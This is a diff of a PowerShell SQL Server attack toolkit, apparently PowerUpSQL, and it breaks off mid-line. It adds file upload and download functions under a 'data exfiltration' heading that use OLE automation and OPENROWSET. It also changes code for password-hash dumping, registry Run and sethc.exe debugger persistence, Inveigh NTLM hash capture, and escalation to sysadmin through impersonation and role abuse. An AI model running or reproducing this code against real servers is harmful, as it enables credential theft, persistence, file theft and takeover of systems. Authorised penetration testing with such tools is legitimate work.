directory path. + .EXAMPLE + PS C:\> Test-FolderWriteAccess "c:\windows\system32" + False + .EXAMPLE + PS C:\> Test-FolderWriteAccess "$env:LOCALAPPDATA" + True + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Folder you would like to test write access to.')] + [string]$OutFolder + ) + + Process + { + # Create randomized 15 character file name + $WriteTestFile = (-join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_})) + + # Test Write Access + Try { + Write-Host "test" | Out-File "$OutFolder\$WriteTestFile" + rm "$OutFolder\$WriteTestFile" + return $true + }Catch{ + return $false + } + } +} #endregion ######################################################################### @@ -15519,8 +16019,12 @@ function Get-DomainObject .EXAMPLE PS C:\temp> Get-DomainObject -LdapFilter "(&(servicePrincipalName=*))" .EXAMPLE + PS C:\temp> Get-DomainObject -LdapFilter "(&(servicePrincipalName=*))" -DomainController 10.0.0.1:389 + It will use the security context of the current process to authenticate to the domain controller. + IP:Port can be specified to reach a pivot machine. + .EXAMPLE PS C:\temp> Get-DomainObject -LdapFilter "(&(servicePrincipalName=*))" -DomainController 10.0.0.1 -Username Domain\User -Password Password123! - .Note + .Notes This was based on Will Schroeder's Get-ADObject function from https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1 #> [CmdletBinding()] @@ -15572,31 +16076,37 @@ function Get-DomainObject if ($DomainController) { - # Verify credentials were provided - if(-not $Username){ - Write-Output "A username and password must be provided when setting a specific domain controller." - Break - } - # Test credentials and grab domain try { - $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname + + $ArgumentList = New-Object Collections.Generic.List[string] + $ArgumentList.Add("LDAP://$DomainController") + + if($Username){ + $ArgumentList.Add($Credential.UserName) + $ArgumentList.Add($Credential.GetNetworkCredential().Password) + } + + $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $ArgumentList).distinguishedname + + # Authentication failed. distinguishedName property can not be empty. + if(-not $objDomain){ throw } + }catch{ - Write-Output "Authentication failed." + Write-Host "Authentication failed or domain controller is not reachable." + Break } # add ldap path if($LdapPath) { $LdapPath = '/'+$LdapPath+','+$objDomain - $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password - } - else - { - $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password + $ArgumentList[0] = "LDAP://$DomainController$LdapPath" } - $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath + $objDomainPath= New-Object System.DirectoryServices.DirectoryEntry -ArgumentList $ArgumentList + + $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher $objDomainPath } else { @@ -16263,8 +16773,8 @@ function Get-SQLInstanceBroadcast # Show error message $ErrorMessage = $_.Exception.Message - Write-Output -Message " Operation Failed." - Write-Output -Message " Error: $ErrorMessage" + Write-Host -Message " Operation Failed." + Write-Host -Message " Error: $ErrorMessage" } } @@ -16555,7 +17065,7 @@ Function Get-SQLInstanceFile } else { - Write-Output -InputObject 'File path does not appear to be valid.' + Write-Host -InputObject 'File path does not appear to be valid.' break } @@ -17282,69 +17792,649 @@ Function Get-SQLServerPasswordHash FROM [sys].[sql_logins]" } - # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Update sid formatting for each record + $TblResults | + ForEach-Object -Process { + # Format principal sid + $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') + if ($NewSid.length -le 10) + { + $Sid = [Convert]::ToInt32($NewSid,16) + } + else + { + $Sid = $NewSid + } + + # Add results to table + $null = $TblPasswordHashes.Rows.Add( + [string]$_.ComputerName, + [string]$_.Instance, + [string]$_.PrincipalId, + [string]$_.PrincipalName, + $Sid, + [string]$_.PrincipalType, + $_.CreateDate, + [string]$_.DefaultDatabaseName, + [string](-join('0x0',(($_.PasswordHash).ToUpper().TrimStart("0X")))) + ) + } + + # Status user + Write-Verbose -Message "$Instance : Attempt complete." + + # Revert to original user context + if($Migrate){ + Invoke-TokenManipulation -RevToSelf | Out-Null + } + } + + End + { + + # Get hash count + $PasswordHashCount = $TblPasswordHashes.Rows.Count + write-verbose "$PasswordHashCount password hashes recovered." + + # Return table if hashes exist + if($PasswordHashCount -gt 0){ + + # Return data + $TblPasswordHashes + } + } +} + +#endregion + +######################################################################### +# +#region DATA EXFILTRATION FUNCTIONS +# +######################################################################### + +# ---------------------------------- +# Invoke-SQLUploadFileOle +# ---------------------------------- +# Author: Mariusz B. / mgeeky +# Reference: https://www.blackarrow.net/mssqlproxy-pivoting-clr/ +# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/ole-automation-stored-procedures-transact-sql?view=sql-server-ver15 +Function Invoke-SQLUploadFileOle +{ + <# + .SYNOPSIS + Uploads given file to the operating system as the SQL Server service account using OLE automation procedures. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER InputFile + Input file to be uploaded to the SQL Server's filesystem. + .PARAMETER OutputFile + Destination file path in the target SQL Server's filesystem. + .EXAMPLE + PS C:\> Invoke-SQLUploadFileOle -Verbose -Instance DEVSRV -InputFile "C:\Windows\win.ini" -OutputFile "C:\Users\Public\win.ini" + VERBOSE: DEVSRV : Connection Success. + VERBOSE: DEVSRV : You are a sysadmin. + VERBOSE: DEVSRV : Show Advanced Options is already enabled. + VERBOSE: DEVSRV : Ole Automation Procedures are already enabled. + VERBOSE: DEVSRV : Reading input file: C:\windows\win.ini + VERBOSE: DEVSRV : Uploading 92 bytes to: C:\Users\Public\win.ini + VERBOSE: DEVSRV : Connection Success. + VERBOSE: DEVSRV : Success. File uploaded. + VERBOSE: Closing the runspace pool + + ComputerName Instance UploadResults + ------------ -------- ------------- + DEVSRV DEVSRV True + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'Input local file to be uploaded to target server.')] + [ValidateScript({ + Test-Path $_ -PathType leaf + })] + [String]$InputFile = "", + + [Parameter(Mandatory = $true, + HelpMessage = 'Destination file path where the file should be uploaded on the remote server.')] + [String]$OutputFile = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('UploadResults') + + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # Set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Switch to track Ole Automation Procedures status + $DisableShowAdvancedOptions = 0 + $DisableOle = 0 + + # Get sysadmin status + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + + # Check if OLE Automation Procedures are enabled + if($IsSysadmin -eq 'Yes') + { + Write-Verbose -Message "$Instance : You are a sysadmin." + $IsOleEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ole Automation Procedures'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + } + else + { + Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.') + return + } + + # Enable show advanced options if needed + if ($IsShowAdvancedEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." + } + else + { + Write-Verbose -Message "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + + # Try to enable Show Advanced Options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsShowAdvancedEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Show Advanced Options." + } + else + { + Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.') + return + } + } + + # Enable OLE Automation Procedures if needed + if ($IsOleEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Ole Automation Procedures are already enabled." + } + else + { + Write-Verbose -Message "$Instance : Ole Automation Procedures are disabled." + $DisableOle = 1 + + # Try to enable Ole Automation Procedures + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ole Automation Procedures',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsOleEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure "Ole Automation Procedures"' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsOleEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Ole Automation Procedures." + } + else + { + Write-Verbose -Message "$Instance : Enabling Ole Automation Procedures failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Ole Automation Procedures.') + + return + } + } + + $InputFileFull = (Get-Item $InputFile).FullName + write-verbose "$instance : Reading input file: $InputFileFull" + try + { + $FileBytes = [System.IO.File]::ReadAllBytes($InputFileFull) + $FileDataTmp = [System.BitConverter]::ToString($FileBytes) + $FileData = ($FileDataTmp -replace "\-", "") + } + catch + { + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose "Could not read input file: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Input file could not be read.') + } + + # Setup query to run command + write-verbose "$instance : Uploading $($FileBytes.Length) bytes to: $OutputFile" + $QueryFileUpload = +@" +DECLARE @ob INT; +EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT; +EXEC sp_OASetProperty @ob, 'Type', 1; +EXEC sp_OAMethod @ob, 'Open'; +EXEC sp_OAMethod @ob, 'Write', NULL, 0x$FileData; +EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '$OutputFile', 2; +EXEC sp_OAMethod @ob, 'Close'; +EXEC sp_OADestroy @ob; +"@ + + # Execute query + $null = Get-SQLQuery -Instance $Instance -Query $QueryFileUpload -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Setup query for reading command output + $QueryCheckFileExists = "EXEC master..xp_fileexist '$OutputFile' WITH RESULT SETS ((fileexists bit, fileisdirectory bit, parentdirectoryexists bit))" + + # Execute query + $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryCheckFileExists -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property fileexists -ExpandProperty fileexists + + if ($CmdResults -eq $True) + { + Write-Verbose -Message "$Instance : Success. File uploaded." + } + else + { + Write-Verbose -Message "$Instance : Failure. File NOT uploaded." + } + + # Display results or add to final results table + $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults) + + # Restore 'Ole Automation Procedures state if needed + if($DisableOle -eq 1) + { + Write-Verbose -Message "$Instance : Disabling 'Ole Automation Procedures" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ole Automation Procedures',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore Show Advanced Options state if needed + if($DisableShowAdvancedOptions -eq 1) + { + Write-Verbose -Message "$Instance : Disabling Show Advanced Options" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + #Write-Verbose " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible or Command Failed') + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblResults + } +} + + +# ---------------------------------- +# Invoke-SQLDownloadFile +# ---------------------------------- +# Author: Mariusz B. / mgeeky +# Reference: https://www.blackarrow.net/mssqlproxy-pivoting-clr/ +# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/import-export/import-bulk-data-by-using-bulk-insert-or-openrowset-bulk-sql-server?view=sql-server-ver15 +Function Invoke-SQLDownloadFile +{ + <# + .SYNOPSIS + Uploads given file to the operating system as the SQL Server service account using OPENROWSET BULK Query. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER SourceFile + Source file to download from target SQL Server's filesystem. + .PARAMETER OutputFile + Where to save downloaded file locally on the user's filesystem. + .EXAMPLE + PS C:\> Invoke-SQLDownloadFile -Verbose -Instance DEVSRV -SourceFile "C:\Windows\win.ini" -OutputFile "C:\Users\Public\win.ini" + VERBOSE: Creating runspace pool and session states + VERBOSE: DEVSRV : Connection Success. + VERBOSE: DEVSRV : File exists. Attempting to download: C:\Windows\win.ini + VERBOSE: DEVSRV : Downloaded. Writing 92 to C:\Users\Public\win.ini... + VERBOSE: Closing the runspace pool + + ComputerName Instance DownloadResults + ------------ -------- --------------- + DEVSRV DEVSRV True + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'Source file to download from target SQL Server filesystem.')] + [String]$SourceFile = "", + + [Parameter(Mandatory = $true, + HelpMessage = 'Where to save downloaded file locally on the user filesystem.')] + [String]$OutputFile = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('DownloadResults') + + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + $Instance = $_.Instance - # Update sid formatting for each record - $TblResults | - ForEach-Object -Process { - # Format principal sid - $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') - if ($NewSid.length -le 10) + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) { - $Sid = [Convert]::ToInt32($NewSid,16) + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut } else { - $Sid = $NewSid + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut } - # Add results to table - $null = $TblPasswordHashes.Rows.Add( - [string]$_.ComputerName, - [string]$_.Instance, - [string]$_.PrincipalId, - [string]$_.PrincipalName, - $Sid, - [string]$_.PrincipalType, - $_.CreateDate, - [string]$_.DefaultDatabaseName, - [string]$_.PasswordHash) - } + # Attempt connection + try + { + # Open connection + $Connection.Open() - # Status user - Write-Verbose -Message "$Instance : Attempt complete." - - # Revert to original user context - if($Migrate){ - Invoke-TokenManipulation -RevToSelf | Out-Null - } - } + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } - End - { + # Setup query for reading command output + $QueryCheckFileExists = "EXEC master..xp_fileexist '$SourceFile' WITH RESULT SETS ((fileexists bit, fileisdirectory bit, parentdirectoryexists bit))" - # Get hash count - $PasswordHashCount = $TblPasswordHashes.Rows.Count - write-verbose "$PasswordHashCount password hashes recovered." + # Execute query + $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryCheckFileExists -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property fileexists -ExpandProperty fileexists - # Return table if hashes exist - if($PasswordHashCount -gt 0){ + if ($CmdResults -eq $True) + { + Write-Verbose -Message "$Instance : File exists. Attempting to download: $SourceFile" - # Return data - $TblPasswordHashes + $QueryFileDownload = "SELECT * FROM OPENROWSET(BULK N'$SourceFile', SINGLE_BLOB) rs" + + # Execute query + $FileBytes = Get-SQLQuery -Instance $Instance -Query $QueryFileDownload -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property BulkColumn -ExpandProperty BulkColumn + + $FileBytesArr = $FileBytes -split ' ' + + Write-Verbose "$Instance : Downloaded. Writing $($FileBytesArr.Length) to $OutputFile..." + + $FileContents = ($FileBytesArr | % {[byte][convert]::ToInt32($_)}) + + [IO.File]::WriteAllBytes($OutputFile, $FileContents) + + $null = $TblResults.Rows.Add("$ComputerName","$Instance",$True) + } + else + { + Write-Verbose -Message "$Instance : Failure. Specified file does not exist." + + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Source file does not exist') + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + Write-Verbose " Error: $ErrorMessage" + } + + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible or Command Failed') + } } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblResults } } -#endregion -######################################################################### -# -#region DATA EXFILTRATION FUNCTIONS -# -######################################################################### -# #endregion ######################################################################### @@ -17379,10 +18469,10 @@ Function Get-SQLPersistRegRun Command to run. .Example - PS C:\> Get-SQLPersistRegRun -Verbose -Name PureEvil -Command 'PowerShell.exe -C "Write-Output hacker | Out-File C:\temp\iamahacker.txt"' -Instance "SQLServer1\STANDARDDEV2014" + PS C:\> Get-SQLPersistRegRun -Verbose -Name PureEvil -Command 'PowerShell.exe -C "Write-Host hacker | Out-File C:\temp\iamahacker.txt"' -Instance "SQLServer1\STANDARDDEV2014" VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success. VERBOSE: SQLServer1\STANDARDDEV2014 : Attempting to write value: PureEvil - VERBOSE: SQLServer1\STANDARDDEV2014 : Attempting to write command: PowerShell.exe -C "Write-Output hacker | Out-File C:\temp\iamahacker.txt" + VERBOSE: SQLServer1\STANDARDDEV2014 : Attempting to write command: PowerShell.exe -C "Write-Host hacker | Out-File C:\temp\iamahacker.txt" VERBOSE: SQLServer1\STANDARDDEV2014 : Registry entry written. VERBOSE: SQLServer1\STANDARDDEV2014 : Done. @@ -17427,7 +18517,7 @@ Function Get-SQLPersistRegRun [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'The command to run.')] - [string]$Command = 'PowerShell.exe -C "Write-Output hacker | Out-File C:\temp\iamahacker.txt"', + [string]$Command = 'PowerShell.exe -C "Write-Host hacker | Out-File C:\temp\iamahacker.txt"', [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] @@ -17576,10 +18666,10 @@ Function Get-SQLPersistRegDebugger VERBOSE: SQLServer1\STANDARDDEV2014 : Done. .Example - PS C:\> Get-SQLPersistRegDebugger-Verbose -Name sethc.exe -Command "PowerShell.exe -C "Write-Output hacker | Out-File C:\temp\iamahacker.txt"" -Instance "SQLServer1\STANDARDDEV2014" + PS C:\> Get-SQLPersistRegDebugger-Verbose -Name sethc.exe -Command "PowerShell.exe -C "Write-Host hacker | Out-File C:\temp\iamahacker.txt"" -Instance "SQLServer1\STANDARDDEV2014" VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success. VERBOSE: SQLServer1\STANDARDDEV2014 : Attempting to write debugger for: sethc.exe - VERBOSE: SQLServer1\STANDARDDEV2014 : Attempting to write command: PowerShell.exe -C "Write-Output hacker | Out-File C:\temp\iamahacker.txt" + VERBOSE: SQLServer1\STANDARDDEV2014 : Attempting to write command: PowerShell.exe -C "Write-Host hacker | Out-File C:\temp\iamahacker.txt" VERBOSE: SQLServer1\STANDARDDEV2014 : Registry entry written. VERBOSE: SQLServer1\STANDARDDEV2014 : Done. @@ -19934,21 +21024,21 @@ Function Invoke-SQLAuditPrivXpDirtree $HashType = '' $Hash = '' - [string]$PassCleartext = Get-Inveigh -Cleartext Y + [string]$PassCleartext = Get-Inveigh -Cleartext if($PassCleartext) { $HashType = 'Cleartext' $Hash = $PassCleartext } - [string]$PassNetNTLMv1 = Get-Inveigh -NTLMv1 Y + [string]$PassNetNTLMv1 = Get-Inveigh -NTLMv1 if($PassNetNTLMv1) { $HashType = 'NetNTLMv1' $Hash = $PassNetNTLMv1 } - [string]$PassNetNTLMv2 = Get-Inveigh -NTLMv2 Y + [string]$PassNetNTLMv2 = Get-Inveigh -NTLMv2 if($PassNetNTLMv2) { $HashType = 'NetNTLMv2' @@ -20275,21 +21365,21 @@ Function Invoke-SQLAuditPrivXpFileexist $HashType = '' $Hash = '' - [string]$PassCleartext = Get-Inveigh -Cleartext Y + [string]$PassCleartext = Get-Inveigh -Cleartext if($PassCleartext) { $HashType = 'Cleartext' $Hash = $PassCleartext } - [string]$PassNetNTLMv1 = Get-Inveigh -NTLMv1 Y + [string]$PassNetNTLMv1 = Get-Inveigh -NTLMv1 if($PassNetNTLMv1) { $HashType = 'NetNTLMv1' $Hash = $PassNetNTLMv1 } - [string]$PassNetNTLMv2 = Get-Inveigh -NTLMv2 Y + [string]$PassNetNTLMv2 = Get-Inveigh -NTLMv2 if($PassNetNTLMv2) { $HashType = 'NetNTLMv2' @@ -20533,10 +21623,12 @@ Function Invoke-SQLAuditPrivDbChaining $ChainDatabases | ForEach-Object -Process { $DatabaseName = $_.DatabaseName - - Write-Verbose -Message "$Instance : - The database $DatabaseName has ownership chaining enabled." - $Details = "The database $DatabaseName was found configured with ownership chaining enabled." - $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) + if($DatabaseName -ne 'master' -and $DatabaseName -ne 'tempdb' -and $DatabaseName -ne 'msdb') + { + Write-Verbose -Message "$Instance : - The database $DatabaseName has ownership chaining enabled." + $Details = "The database $DatabaseName was found configured with ownership chaining enabled." + $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) + } } } else @@ -21504,7 +22596,7 @@ Function Invoke-SQLAuditRoleDbOwner { # Check if user is already a sysadmin $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status - if($SysadminPreCheck -eq 0) + if($SysadminPreCheck -ne 1) { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin." @@ -21774,7 +22866,7 @@ Function Invoke-SQLAuditRoleDbDdlAdmin { # Check if user is already a sysadmin $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status - if($SysadminPreCheck -eq 0) + if($SysadminPreCheck -ne 1) { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin." @@ -21858,6 +22950,8 @@ Function Invoke-SQLAuditPrivImpersonateLogin Don't output anything. .PARAMETER Exploit Exploit vulnerable issues + .PARAMETER Nested + Exploit Nested Impersonation Capabilites .EXAMPLE PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123! @@ -21921,7 +23015,11 @@ Function Invoke-SQLAuditPrivImpersonateLogin [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] - [switch]$Exploit + [switch]$Exploit, + + [Parameter(Mandatory = $false, + HelpMessage = 'Exploit Nested Impersonation Capabilites.')] + [switch]$Nested ) Begin @@ -22046,7 +23144,7 @@ Function Invoke-SQLAuditPrivImpersonateLogin # Check if user is already a sysadmin $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status - if($SysadminPreCheck -eq 0) + if($SysadminPreCheck -ne 1) { # Status user Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user 